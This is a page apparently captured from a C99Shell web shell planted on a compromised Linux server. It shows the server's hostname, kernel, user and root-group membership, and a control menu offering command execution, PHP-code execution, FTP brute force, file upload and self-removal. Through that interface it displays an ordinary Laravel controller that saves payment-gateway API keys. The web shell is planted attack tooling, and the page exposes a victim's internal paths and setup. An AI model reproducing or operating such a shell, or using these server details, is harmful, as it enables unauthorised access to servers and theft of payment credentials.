!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SettingController.php (3.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\Http\Controllers;

use 
Illuminate\Contracts\Support\Renderable;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;

class 
SettingController extends Controller
{
    public function 
store(Request $request){
        if (
env("APP_DEMO")){
            return 
response()->json(['status' => 'failed''message' => trans('admin.app_demo_message')]);
        }
       
$validData=$request->only('paypal_client_id','paypal_client_secret','stripe_pub_key','stripe_secret_key','paytm_environment''paytm_mid''paytm_secret_key',
           
'paytm_website''paytm_txn_url''paytm_status''mollie_api_key''mollie_status''paystack_status''paystack_merchant_email',
           
'paystack_payment_url''paystack_secret_key''paystack_public_key','flutter_wave_public_key','flutter_wave_status','v_merchant_id','v_status','iyzico_api_key',
           
'iyzico_secret_key','iyzico_status','authorize_net_login_id','authorize_net_secret_key','authorize_net_transaction_key','authorize_net_status',
           
'private_key','public_key','ipn_secret''merchant_id','coinpay_status''paypal_status','stripe_status','sslcommerz_status','sslcommerz_store_id','sslcommerz_store_password','sslcommerz_url',
       
'uddoktapay_status''uddoktapay_apikey''uddoktapay_url','offline_info','offline_status','paypal_payment_mode');


        
$data = ['name' => 'payment_gateway'];
        
$setting auth()->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($validData);
        
$setting->save();

        if (
$request->authorize_net_login_id && $request->authorize_net_secret_key && $request->authorize_net_transaction_key){
            
setEnv('AUTHORIZE_NET_LOGIN_ID'$request->authorize_net_login_id);
            
setEnv('AUTHORIZE_NET_CLIENT_KEY'$request->authorize_net_secret_key);
            
setEnv('AUTHORIZE_NET_TRANSACTION_KEY'$request->authorize_net_transaction_key);
        }
        
cache()->flush();


        return 
response()->json(['status' => 'failed''message' => trans('Payment gateway setting updated')]);

    }

    public function 
resellerGateway(Request $request){
        if (
env("APP_DEMO")){
            return 
response()->json(['status' => 'error''message' => trans('admin.app_demo_message')]);
        }
        
$validData=$request->only('paypal_client_id','paypal_client_secret','stripe_pub_key','stripe_secret_key','paytm_environment''paytm_mid''paytm_secret_key',
            
'paytm_website''paytm_txn_url''paytm_status''mollie_api_key''mollie_status''paystack_status''paystack_merchant_email',
            
'paystack_payment_url''paystack_secret_key''paystack_public_key','flutter_wave_public_key','flutter_wave_status','v_merchant_id','v_status','iyzico_api_key',
            
'iyzico_secret_key','iyzico_status','authorize_net_login_id','authorize_net_secret_key','authorize_net_transaction_key','authorize_net_status',
            
'private_key','public_key','ipn_secret''merchant_id','coinpay_status''paypal_status','stripe_status','sslcommerz_status','sslcommerz_store_id',
            
'sslcommerz_store_password','sslcommerz_url','offline_status','paypal_payment_mode');


        
$data = ['name' => 'payment_gateway_values'];
        
$setting auth('customer')->user()->settings()->firstOrNew($data);
        
$setting->value json_encode($validData);
        
$setting->save();

//        if ($request->authorize_net_login_id && $request->authorize_net_secret_key && $request->authorize_net_transaction_key){
//            setEnv('AUTHORIZE_NET_LOGIN_ID', $request->authorize_net_login_id);
//            setEnv('AUTHORIZE_NET_CLIENT_KEY', $request->authorize_net_secret_key);
//            setEnv('AUTHORIZE_NET_TRANSACTION_KEY', $request->authorize_net_transaction_key);
//        }
        
cache()->flush();


        return 
response()->json(['status' => 'success''message' => trans('Payment gateway setting updated')]);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--